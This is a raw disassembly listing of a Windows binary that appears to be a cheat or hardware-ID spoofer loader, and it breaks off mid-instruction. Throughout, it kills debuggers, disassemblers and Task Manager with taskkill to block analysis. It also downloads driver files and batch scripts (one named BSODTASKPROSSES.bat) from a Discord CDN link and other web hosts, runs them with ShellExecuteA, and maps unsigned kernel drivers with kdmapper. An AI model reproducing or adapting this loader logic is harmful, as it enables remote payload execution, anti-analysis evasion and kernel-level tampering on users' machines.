call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQdiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQNULLSPOOF.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDGJQC_OXMP5_KZ1JU_BADKY_MRMJQkdmapper.exe
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:WindowsSystem32Mobo.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv32.sys
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv64.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoRANDOMIZEDISK.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoRANDOMIZEDISK.sys
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xaff0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xafd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xafd0]
call fcn.14005d8d0
mov qword [rsp + 0x14b8], rax
lea rcx, [rsp + 0xaff0]
call fcn.14005d8d0
mov qword [rsp + 0x14c0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x14b8]
mov rdx, qword [rsp + 0x14c0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.https:__sandiest_buttons.000webhostapp.com_Spoofyyerrrerst.sys
lea rcx, [rsp + 0xafb0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
lea rcx, [rsp + 0xaf90]
call fcn.14005d9d0
nop
lea rdx, str.https:__sandiest_buttons.000webhostapp.com_diskDRIVE.sys
lea rcx, [rsp + 0xaf70]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
lea rcx, [rsp + 0xaf50]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_privatenxtv2spoofingdrivers_fixspooferv2namesss_asap_kdmapper.exe
lea rcx, [rsp + 0xaf30]
call fcn.14005d9d0
nop
lea rdx, [0x1403925a8]
lea rcx, [rsp + 0xaf10]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_privatenxtv2spoofingdrivers_fixspooferv2namesss_asap_DriverMapper.bat
lea rcx, [rsp + 0xaef0]
call fcn.14005d9d0
nop
lea rdx, [0x140392bb0]
lea rcx, [rsp + 0xaed0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xaf90]
call fcn.14005d8d0
mov qword [rsp + 0x14c8], rax
lea rcx, [rsp + 0xafb0]
call fcn.14005d8d0
mov qword [rsp + 0x14d0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x14c8]
mov rdx, qword [rsp + 0x14d0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xaf50]
call fcn.14005d8d0
mov qword [rsp + 0x14d8], rax
lea rcx, [rsp + 0xaf70]
call fcn.14005d8d0
mov qword [rsp + 0x14e0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x14d8]
mov rdx, qword [rsp + 0x14e0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xaf10]
call fcn.14005d8d0
mov qword [rsp + 0x14e8], rax
lea rcx, [rsp + 0xaf30]
call fcn.14005d8d0
mov qword [rsp + 0x14f0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x14e8]
mov rdx, qword [rsp + 0x14f0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xaed0]
call fcn.14005d8d0
mov qword [rsp + 0x14f8], rax
lea rcx, [rsp + 0xaef0]
call fcn.14005d8d0
mov qword [rsp + 0x1500], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x14f8]
mov rdx, qword [rsp + 0x1500]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140392bb0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
